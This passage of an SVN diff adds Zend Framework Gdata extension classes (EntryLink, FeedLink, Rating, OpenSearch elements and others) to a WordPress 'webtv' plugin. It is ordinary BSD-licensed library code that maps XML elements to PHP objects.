+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * Represents the gd:entryLink element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_EntryLink extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'entryLink';
+    protected $_href = null;
+    protected $_readOnly = null;
+    protected $_rel = null;
+    protected $_entry = null;
+
+    public function __construct($href = null, $rel = null,
+            $readOnly = null, $entry = null)
+    {
+        parent::__construct();
+        $this->_href = $href;
+        $this->_readOnly = $readOnly;
+        $this->_rel = $rel;
+        $this->_entry = $entry;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_href !== null) {
+            $element->setAttribute('href', $this->_href);
+        }
+        if ($this->_readOnly !== null) {
+            $element->setAttribute('readOnly', ($this->_readOnly ? "true" : "false"));
+        }
+        if ($this->_rel !== null) {
+            $element->setAttribute('rel', $this->_rel);
+        }
+        if ($this->_entry !== null) {
+            $element->appendChild($this->_entry->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('atom') . ':' . 'entry';
+                $entry = new Zend_Gdata_Entry();
+                $entry->transferFromDOM($child);
+                $this->_entry = $entry;
+                break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'href':
+            $this->_href = $attribute->nodeValue;
+            break;
+        case 'readOnly':
+            if ($attribute->nodeValue == "true") {
+                $this->_readOnly = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_readOnly = false;
+            }
+            else {
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for gCal:selected#value.");
+            }
+            break;
+        case 'rel':
+            $this->_rel = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getHref()
+    {
+        return $this->_href;
+    }
+
+    public function setHref($value)
+    {
+        $this->_href = $value;
+        return $this;
+    }
+
+    public function getReadOnly()
+    {
+        return $this->_readOnly;
+    }
+
+    public function setReadOnly($value)
+    {
+        $this->_readOnly = $value;
+        return $this;
+    }
+
+    public function getRel()
+    {
+        return $this->_rel;
+    }
+
+    public function setRel($value)
+    {
+        $this->_rel = $value;
+        return $this;
+    }
+
+    public function getEntry()
+    {
+        return $this->_entry;
+    }
+
+    public function setEntry($value)
+    {
+        $this->_entry = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/EventStatus.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/EventStatus.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/EventStatus.php	(revision 44)
@@ -0,0 +1,100 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the gd:eventStatus element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_EventStatus extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'eventStatus';
+    protected $_value = null;
+
+    public function __construct($value = null)
+    {
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's Value attribute.
+     *
+     * @return string The requested attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's Value attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Visibility The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/ExtendedProperty.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/ExtendedProperty.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/ExtendedProperty.php	(revision 44)
@@ -0,0 +1,105 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Data model for gd:extendedProperty element, used by some Gdata
+ * services to implement arbitrary name/value pair storage
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_ExtendedProperty extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'extendedProperty';
+    protected $_name = null;
+    protected $_value = null;
+
+    public function __construct($name = null, $value = null)
+    {
+        parent::__construct();
+        $this->_name = $name;
+        $this->_value = $value;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_name !== null) {
+            $element->setAttribute('name', $this->_name);
+        }
+        if ($this->_value !== null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'name':
+            $this->_name = $attribute->nodeValue;
+            break;
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    public function __toString()
+    {
+        return $this->getName() . '=' . $this->getValue();
+    }
+
+    public function getName()
+    {
+        return $this->_name;
+    }
+
+    public function setName($value)
+    {
+        $this->_name = $value;
+        return $this;
+    }
+
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/FeedLink.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/FeedLink.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/FeedLink.php	(revision 44)
@@ -0,0 +1,174 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * Represents the gd:feedLink element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_FeedLink extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'feedLink';
+    protected $_countHint = null;
+    protected $_href = null;
+    protected $_readOnly = null;
+    protected $_rel = null;
+    protected $_feed = null;
+
+    public function __construct($href = null, $rel = null,
+            $countHint = null, $readOnly = null, $feed = null)
+    {
+        parent::__construct();
+        $this->_countHint = $countHint;
+        $this->_href = $href;
+        $this->_readOnly = $readOnly;
+        $this->_rel = $rel;
+        $this->_feed = $feed;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_countHint !== null) {
+            $element->setAttribute('countHint', $this->_countHint);
+        }
+        if ($this->_href !== null) {
+            $element->setAttribute('href', $this->_href);
+        }
+        if ($this->_readOnly !== null) {
+            $element->setAttribute('readOnly', ($this->_readOnly ? "true" : "false"));
+        }
+        if ($this->_rel !== null) {
+            $element->setAttribute('rel', $this->_rel);
+        }
+        if ($this->_feed !== null) {
+            $element->appendChild($this->_feed->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('atom') . ':' . 'feed';
+                $feed = new Zend_Gdata_Feed();
+                $feed->transferFromDOM($child);
+                $this->_feed = $feed;
+                break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'countHint':
+            $this->_countHint = $attribute->nodeValue;
+            break;
+        case 'href':
+            $this->_href = $attribute->nodeValue;
+            break;
+        case 'readOnly':
+            if ($attribute->nodeValue == "true") {
+                $this->_readOnly = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_readOnly = false;
+            }
+            else {
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for gCal:selected#value.");
+            }
+            break;
+        case 'rel':
+            $this->_rel = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getHref()
+    {
+        return $this->_href;
+    }
+
+    public function setHref($value)
+    {
+        $this->_href = $value;
+        return $this;
+    }
+
+    public function getReadOnly()
+    {
+        return $this->_readOnly;
+    }
+
+    public function setReadOnly($value)
+    {
+        $this->_readOnly = $value;
+        return $this;
+    }
+
+    public function getRel()
+    {
+        return $this->_rel;
+    }
+
+    public function setRel($value)
+    {
+        $this->_rel = $value;
+        return $this;
+    }
+
+    public function getFeed()
+    {
+        return $this->_feed;
+    }
+
+    public function setFeed($value)
+    {
+        $this->_feed = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OpenSearchItemsPerPage.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OpenSearchItemsPerPage.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OpenSearchItemsPerPage.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the openSearch:itemsPerPage element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_OpenSearchItemsPerPage extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'itemsPerPage';
+    protected $_rootNamespace = 'openSearch';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OpenSearchStartIndex.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OpenSearchStartIndex.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OpenSearchStartIndex.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the openSeach:startIndex element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_OpenSearchStartIndex extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'startIndex';
+    protected $_rootNamespace = 'openSearch';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OpenSearchTotalResults.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OpenSearchTotalResults.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OpenSearchTotalResults.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the openSearch:totalResults element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_OpenSearchTotalResults extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'totalResults';
+    protected $_rootNamespace = 'openSearch';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OriginalEvent.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OriginalEvent.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/OriginalEvent.php	(revision 44)
@@ -0,0 +1,141 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_When
+ */
+require_once 'Zend/Gdata/Extension/When.php';
+
+/**
+ * Represents the gd:originalEvent element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_OriginalEvent extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'originalEvent';
+    protected $_id = null;
+    protected $_href = null;
+    protected $_when = null;
+
+    public function __construct($id = null, $href = null, $when = null)
+    {
+        parent::__construct();
+        $this->_id = $id;
+        $this->_href = $href;
+        $this->_when = $when;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_id !== null) {
+            $element->setAttribute('id', $this->_id);
+        }
+        if ($this->_href !== null) {
+            $element->setAttribute('href', $this->_href);
+        }
+        if ($this->_when !== null) {
+            $element->appendChild($this->_when->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'id':
+            $this->_id = $attribute->nodeValue;
+            break;
+        case 'href':
+            $this->_href = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gd') . ':' . 'when';
+                $when = new Zend_Gdata_Extension_When();
+                $when->transferFromDOM($child);
+                $this->_when = $when;
+                break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    public function getId()
+    {
+        return $this->_id;
+    }
+
+    public function setId($value)
+    {
+        $this->_id = $value;
+        return $this;
+    }
+
+    public function getHref()
+    {
+        return $this->_href;
+    }
+
+    public function setHref($value)
+    {
+        $this->_href = $value;
+        return $this;
+    }
+
+    public function getWhen()
+    {
+        return $this->_when;
+    }
+
+    public function setWhen($value)
+    {
+        $this->_when = $value;
+        return $this;
+    }
+
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Rating.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Rating.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Rating.php	(revision 44)
@@ -0,0 +1,239 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Implements the gd:rating element
+ *
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_Rating extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'rating';
+    protected $_min = null;
+    protected $_max = null;
+    protected $_numRaters = null;
+    protected $_average = null;
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Extension_Rating object.
+     *
+     * @param integer $average (optional) Average rating.
+     * @param integer $min (optional) Minimum rating.
+     * @param integer $max (optional) Maximum rating.
+     * @param integer $numRaters (optional) Number of raters.
+     * @param integer $value (optional) The value of the rating.
+     */
+    public function __construct($average = null, $min = null,
+            $max = null, $numRaters = null, $value = null)
+    {
+        parent::__construct();
+        $this->_average = $average;
+        $this->_min = $min;
+        $this->_max = $max;
+        $this->_numRaters = $numRaters;
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_min !== null) {
+            $element->setAttribute('min', $this->_min);
+        }
+        if ($this->_max !== null) {
+            $element->setAttribute('max', $this->_max);
+        }
+        if ($this->_numRaters !== null) {
+            $element->setAttribute('numRaters', $this->_numRaters);
+        }
+        if ($this->_average !== null) {
+            $element->setAttribute('average', $this->_average);
+        }
+        if ($this->_value !== null) {
+            $element->setAttribute('value', $this->_value);
+        }
+
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+            case 'min':
+                $this->_min = $attribute->nodeValue;
+                break;
+            case 'max':
+                $this->_max = $attribute->nodeValue;
+                break;
+            case 'numRaters':
+                $this->_numRaters = $attribute->nodeValue;
+                break;
+            case 'average':
+                $this->_average = $attribute->nodeValue;
+                break;
+            case 'value':
+                $this->_value = $attribute->nodeValue;
+            default:
+                parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's min attribute.
+     *
+     * @return integer The requested attribute.
+     */
+    public function getMin()
+    {
+        return $this->_min;
+    }
+
+    /**
+     * Set the value for this element's min attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Rating The element being modified.
+     */
+    public function setMin($value)
+    {
+        $this->_min = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's numRaters attribute.
+     *
+     * @return integer The requested attribute.
+     */
+    public function getNumRaters()
+    {
+        return $this->_numRaters;
+    }
+
+    /**
+     * Set the value for this element's numRaters attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Rating The element being modified.
+     */
+    public function setNumRaters($value)
+    {
+        $this->_numRaters = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's average attribute.
+     *
+     * @return integer The requested attribute.
+     */
+    public function getAverage()
+    {
+        return $this->_average;
+    }
+
+    /**
+     * Set the value for this element's average attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Rating The element being modified.
+     */
+    public function setAverage($value)
+    {
+        $this->_average = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's max attribute.
+     *
+     * @return integer The requested attribute.
+     */
+    public function getMax()
+    {
+        return $this->_max;
+    }
+
+    /**
+     * Set the value for this element's max attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Rating The element being modified.
+     */
+    public function setMax($value)
+    {
+        $this->_max = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's value attribute.
+     *
+     * @return integer The requested attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's value attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Rating The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Recurrence.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Recurrence.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Recurrence.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the gd:recurrence element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_Recurrence extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'recurrence';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/RecurrenceException.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/RecurrenceException.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/RecurrenceException.php	(revision 44)
@@ -0,0 +1,214 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
